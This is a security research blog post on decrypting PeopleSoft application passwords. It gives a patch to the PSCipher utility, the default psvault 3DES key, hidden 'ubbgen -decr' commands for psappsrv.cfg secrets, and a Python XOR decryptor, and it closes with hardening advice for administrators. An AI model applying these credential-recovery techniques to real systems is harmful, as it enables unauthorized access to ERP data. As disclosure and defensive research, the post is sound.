PeopleSoft Passwords Decryption

We continue to familiarize you with PeopleSoft security aspects and share the latest research directly from our lab, hot and tasty. The topic of today’s research is …

Passwords! Right, it’s a never-ending topic. I will describe how to decrypt PeopleSoft application-specific passwords for fun and profit.

Information provided in this article can cut both ways. From penetration testers’ point of view, it will bring knowledge that can help to gain access to PeopleSoft systems during security assessments. As for defense, this information will warn about hidden threats that potentially exist in PeopleSoft systems.

At the end of the article, I will make recommendations for PeopleSoft administrators to prevent these threats.

PeopleSoft passwords

We can divide these passwords mainly into 2 groups:
1) passwords generated by the PSCipher utility
2) passwords that we can discover in psappsrv.cfg file

Passwords produced by the PSCipher utility

According to Oracle, “The PSCipher feature encrypts and decrypts text used in your PeopleSoft system. System administrators interact with PSCipher through a Java, command line utility located on the web server, which enables you to encrypt text, such as user IDs and passwords, stored in configuration files.

We can use this utility for encryption, but if we run it, we won’t find any arguments for password decryption.

$ ./PSCipher.sh
Usage: PCipher.sh <password>
  (to encrypt password)
or PSCipher -buildkey
  (to build a new key)

Java application is a utility by itself, so we can try decompiling it and find out how we can use it for password decryption.

For decompilation, I applied Procyon utility. After, we can see that the PSCipher utility is a simple program that has several methods and one of them is provided below.

public static String decodePassword(final String enpasswd) throws Exception {

Nevertheless, we don’t have access to this method from the program start point, a main function. Therefore, we can a little bit change the main function to use this method.

if (args.length == 2) {
      try {
          final String decode = decodePassword(args[1]);
          System.out.println("Decrypted password: " + decode);
            }
      catch (Exception e) {
          System.out.println("PSCipher failed. " + e.getMessage());
      }
  }  else {
    usage();
  }
  return;

If we append this code and recompile the PSCipher utility, we will be able to decrypt PSCipher’s passwords.

retset $ java -Dps_vault=./psvault PSCipher
Usage:
  PSCipher <ClearText>
  (to encrypt the clear text)
or
  PSCipher -BuildKey
  (to build a new key)
or
  PSCipher -decrypt
  (to decrypt a key)

retset $ java -Dps_vault=./psvault PSCipher PSCipher "@ret5et"
Encrypted text: {V1.1}AqtyaqNaKoU=
retset $ java -Dps_vault=./psvault PSCipher -decrypt {V1.1}AqtyaqNaKoU=
Decrypted password: @ret5et
# PSCipher's encryption algorithm.

The PSCipher utility uses triple DES algorithm to encrypt/decrypt user passwords. The secret key is stored in special storage that is called psvalut. You can also mention a prefix that is used in a password encrypted by the PSCipher. In our case, it is {V1.1}. These prefixes indicate that the version of psvault format is “V1”, the second part after the dot is the number of internal triple DES key for passwords decryption/encryption. For example, if we run the PSCipher with an option -BuildKey we will get a message:

A new key of version {V1.2} is generated successfully

If we run the utility again with the same option, we get {V1.3}, etc.

User data is encrypted on a new secret key, it is added to psvault, and older keys are not lost, and you can decrypt the old data with prefixes 1.1, 1.2.

retset $ java -Dps_vault=./psvault PSCipher "@ret5et"
Encrypted text: {V1.3}cfHORahgOlM=

It’s important for PeopleSoft administrators to understand that if they don’t add a new secret key to psvalut storage (- BuldKey option) after system installation, PeopleSoft system will use default 3DES secret key for all data that needs to be encrypted. A default key in psvault isn’t generated randomly after installation, and the prefix {1.1} indicates that the PeopleSoft system uses this default base64 encoded triple DES key.

T0qn4IaSDYoxTFflL0wcoaKXV6FDQ8Fr

We can easily check that our psvault storage contains this key using STRINGS, SED, and CUT commands on Unix-like operation systems.

retset $ strings -a psvault  | sed -e 's/^ //g;' | cut -c-32
T0qn4IaSDYoxTFflL0wcoaKXV6FDQ8Fr
FWS6Ygh8cNkThjcWyDH9Zw47gA1ATHYv
UuC6OPdDyP7yQKiGDk/NkUNkq7NP+OqM

In the output that is shown above, the first line is a default key for {V1.1} prefix, and the remaining keys generated randomly are used for prefixes {V1.2} and {V1.3} accordingly.

The predefined key for the prefix {V1.1} was used on the whole PeopleSoft installation with a PeopleTools version at least from 8.50 and further. It means if an attacker somehow exposed critical data from PeopleSoft inner configs, he or she can easily decrypt and obtain the original password. This decrypted password can be used to leverage an attacker’s access to critical parts of PeopleSoft system or even can compromise the system, in case an attacker got access to integrationGateway.properties config.

Another way of collecting passwords that have been encrypted with the default key is to use Google. As a rule, PeopleSoft administrators expose passwords by themselves. For example, we can find that these passwords are publicly accessible:

{V1.1}g3sOb5a44/RluB4AZlXHVw== ovmwelc0me
{V1.1}wOvkBkaVu6k= mary
{V1.1}7m4OtVwXFNyLc1j6pZG69Q== password

Passwords from psappsrv.cfg

This file contains critical credentials such as password from PS user, PeopleSoft Application Administrator.

If we try to find any information on how these passwords can be encrypted we will get stuck, at least the same happened to me.

I am only aware that PSADMIN utility can change passwords in psappsrv.cfg but how exactly, I don’t know.

PSADMIN utility is well known in PeopleSoft administrators, it is used to manage PeopleSoft systems.

We can change passwords manually in the menu that was shown above. Now we should understand how passwords are stored. We should answer 2 questions for that:

  • Are they encrypted or hashed?
  • Can we decrypt them if they are encrypted?

Finally, PSADMIN utility changes data in psappsrv.cfg configuration file, so if we look at passwords in this file we will see the following:

...
UserPswd=sC33X45qyMXPEbKTYHrJ06Fd31PfKYBdSEgL5e0i1vE=
ConnectPswd=gizrWPhLwsI5KYakWwvJDLtoEGNNNG4lFfq8W5x/NpM=
DomainConnectionPwd=iSTwU6g03N1UlzIng6I+fsXdd6L02b3iQrAW5AhSeOo=
..

At first glance, the passwords are hashed. Nevertheless, we can get all answers from the PSADMIN utility. For that, we will try collecting base information about the internal functionality of the utility. For that, we try to get names of all symbols used in the PSADMIN utility. We can do this with an assist of nm utility.

$ nm -C $(which psadmin)

The nm utility was used because Oracle doesn’t delete symbols from the PSADMIN tool.

We can try to find curious function names that work with passwords. We can do this in the following way:

$ nm -C $(which psadmin)   | grep -Ei pwd\|password\|paswd
                 U IsPassword
0000000000444430 T RetrieveDomainConnectionPwd(char*) #<- !!!
000000000068ee20 B g_szAppPassword
00000000008d1b00 B g_szPSPassword

It seems interesting because according to the function name, RetrieveDomainConnectionPwd, we can in theory retrieve passwords from psappsrv.cfg.

RetrieveDomainConnectionPwd

Now it is time for static analysis. We can try to grasp how this function works by using IDA Pro disassembler or another free analog, for example, radare2.
After the function has been decompiled and slightly reverse-engineered, we can see these remarkable parts of it:

std::string::string(&command, "", &v39);
 std::string::string(&ubbgenFullPath, "", &v40);
 std::string::string(&appDomName, "", &v41);
 v8 = strlen(g_szPSHome);
 v9 = std::string::assign(&ubbgenFullPath, g_szPSHome, v8);
 std::string::append(v9, "/bin/ubbgen", 0xBuLL); //XXX ???
 sprintf(&s, "%d", 30LL, v29);
 v10 = std::string::assign(&appDomName, "-decr ", 6uLL);

and

ReportDebug("Calling UBBGEN with %s", command, v30);
 v26 = popen(command, "r");

It means that some utility is called with an option “-decr”, and it seems that its name is UBBGEN. Fast check in dynamic analyses has shown that it’s true. If we stop execution in _popen function and look at content of command variable, we will see the following:

popen_UBBGEN

The UBBGEN utility can read parameters from a file, there is a file content

$ cat /home/psadm2/psft/pt/8.55/tmp/KeyFile_15905.txt
-decr 0nerYZpHzNsPsrWhmH05MidkbfGiH+EFu4/zXPFq 30

Therefore, finally, this is how we can run command to decrypt DomainConnectionPwd:

$ ubbgen -decr iSTwU6g03N1UlzIng6I+fsXdd6L02b3iQrAW5AhSeOo= 30
jahce6queiXeevoo1quo0nano #decrtypted password

Moreover, if we remove ’30’ program, it will work correctly.

$ ubbgen -decr iSTwU6g03N1UlzIng6I+fsXdd6L02b3iQrAW5AhSeOo=
jahce6queiXeevoo1quo0nano #decrtypted password

The UBBGEN utility can decrypt more than one parameter from psappsrv.cfg (DomainConectionPwd), and even all of them.

In my test system, they look as follows:

$ ubbgen -decr sC33X45qyMXPEbKTYHrJ06Fd31PfKYBdSEgL5e0i1vE # UserPswd
ShooChemijo8XooVoo2thoh9i

$ ubbgen -decr gizrWPhLwsI5KYakWwvJDLtoEGNNNG4lFfq8W5x # ConnectPswd
aish5Iojeghoo8ThaiPhohfei

$ ubbgen -decr iSTwU6g03N1UlzIng6I+fsXdd6L02b3iQrAW5AhSeOo= # DomainConnectionPwd
jahce6queiXeevoo1quo0nano

Another compelling thing about UBBGEN that it has “-encr” option and we can encrypt what we need.

$ ubbgen -encr someString
kCr1VZ5238EDAWWJFGQm5bDCGm5sXg3GDPkIwUUv4gw=

The UBBGEN utility

I didn’t find any documentation that is relevant to this utility, but only related to Using PSADMIN Configuration Files.

According to it, “Regardless of how you specify domain values, ultimately you must run PSADMIN to generate some necessary files that include your specific values. In the following example, PSADMIN invokes another PeopleSoft executable, UBBGEN, which reads the values and format in the psappsrv.cfg, psappsrv.val, and psappsrv.ubx files, and generates the psappsrv.ubb and psappsrv.env files.

Where you see Do you want to change any config values? (y/n), regardless of what you enter, PSADMIN calls UBBGEN.

If you have already entered values manually in the psappsrv.cfg file and enter n, UBBGEN reads those values and writes to the necessary files.

If you enter y, you see the PSADMIN prompt interface, which is actually a wrapper to UBBGEN. UBBGEN reads the previous values in the psappsrv.cfg, presents those values, and allows you to change them. It presents the values in the format that is derived from reading the PSAPPSRV.UBX file, and it validates selected values based on criteria in the PSAPPSRV.VAL file.

It implies that PSADMIN is only a wrapper for UBBGEN that does all main work behind the scene. If we run UBBGEN without any arguments, we will get its usage prompt.

$ ubbgen
Usage: ubbgen -t <ubx_file> -c <cfg_file> -o <ubb_file> -q(uiet) y/n [-i(mport) y/n] [-s "DBNAME/DBTYPE/OPRID/OPRPSWD/TESTSERV/ADD_TO_PATH/CONNECT_ID/CONNECT_PSWD/SERV_NAME/(NO)ENCRYPT" -p WSL_PORT/JOLT_PORT/JRAD_PORT]
[-u {PUBSUB}=y/n/{QUICKSRV}=y/n/{QUERYSRV}=y/n/{JOLT}=y/n/{JRAD}=y/n/{DBGSRV}=y/n/{RENSRV}=y/n/{MCF}=y/n/{PPM}=y/n/{ANALYTICSRV}=y/n]

It’s ironic that UBBGEN’s usage prompt doesn’t show “-decr” and “-encr” options, it seems they are hidden.

The UBBGEN decryption algoritm

This utility uses the same algorithm that was described in Alexey Tyurin’s article about the decryption of AccessID account. The code shown below is borrowed from there.

import base64, sys

def xor_strings(xs, ys):
 return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys))

if len(sys.argv) &#60; 2:
 sys.exit('Usage: %s b64_encoded_value_of_AccessID_or_AccessPSWD' % sys.argv[0])

key = "\xE3\x45\x98\x30\xCD\x02\xAD\xA8"

result = base64.b64decode(sys.argv[1])
if len(result) != 8:
 print "Wrong encrypted value legth"

result = xor_strings(result, key)
print "Decrypted value is:\t"+result

PeopleSoft Passwords Decryption Tips

Taking into consideration all the mentioned above, I can provide these recommendations:

  • Never disclose your PeopleSoft configs even if you think that all its critical data is encrypted.
  • Don’t use the encrypted values with {1.1} prefix, add a new key to psvault storage and reincrypt passwords there.
  • Use difficult passwords for all services. Even for those that seem to be uncritical.

In this article, I have briefly reviewed how we can decrypt PeopleSoft’s application passwords, I showed why it’s important to add new keys to psvault and I hope you found this article useful.

The post PeopleSoft Passwords Decryption appeared first on ERPScan.

This is a Security Bloggers Network syndicated blog post authored by Research Team. Read the original post at: Blog – ERPScan